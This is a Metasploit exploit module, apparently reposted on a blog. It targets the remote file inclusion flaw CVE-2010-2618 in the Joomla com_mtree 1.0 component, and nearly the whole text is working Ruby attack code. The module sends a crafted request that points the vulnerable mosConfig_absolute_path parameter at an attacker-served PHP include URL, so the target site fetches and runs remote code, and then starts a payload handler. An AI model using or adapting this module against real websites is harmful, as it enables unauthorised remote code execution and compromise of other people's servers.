Joomla Component com_mtree 1.0 Remote File Include (MSF)

require ‘msf/core’

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::PHPInclude

    def initialize(info = {})
        super(update_info(info,
            ‘Name’           => ‘Joomla Component com_mtree 1.0 Remote File Include Exploit’,
            ‘Description’    => %q{
                    This module can be used to exploit Remote File Inclusion in Joomla Component com_mtree 1.0 in Savant2_Plugin_textarea.php

            },
            ‘Author’         => [ ‘Caddy-Dz’ ],
            ‘License’        => MSF_LICENSE,
            ‘Version’        => ‘$Revision:$’,
            ‘References’     =>            
                [
                    [ ‘CVE’, ‘2010-2618’ ],
                    [ ‘BID’, ‘41116’ ],
                ],
            ‘Privileged’     => false,
            ‘Payload’        =>
                {
                    ‘DisableNops’ => true,
                    ‘Compat’      =>
                        {
                            ‘ConnectionType’ => ‘find’,
                        },
                    ‘Space’       => 262144, # 256k
                },
            ‘Platform’       => ‘php’,
            ‘Arch’           => ARCH_PHP,
            ‘Targets’        => [[ ‘Automatic’, { }]],
            ‘DisclosureDate’ => ‘Oct 12 2010’,
            ‘DefaultTarget’ => 0))

        register_options([
            OptString.new(‘PHPURI’, [ true , "The URI to request, with the include parameter changed to !URL!", ‘/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path=!URL!’]),
            ], self.class)
    end

    def php_exploit

        timeout = 0.01
        uri = datastore[‘PHPURI’].gsub(‘!URL!’, Rex::Text.to_hex(php_include_url, "%"))
        print_status("Trying uri #{uri}")

        response = send_request_raw( {
                ‘global’ => true,
                ‘uri’ => uri,
            },timeout)

        if response and response.code != 200
            print_error("Server returned non-200 status code (#{response.code})")
        end
        
        handler
    end

end

发表评论?

0 条评论。

发表评论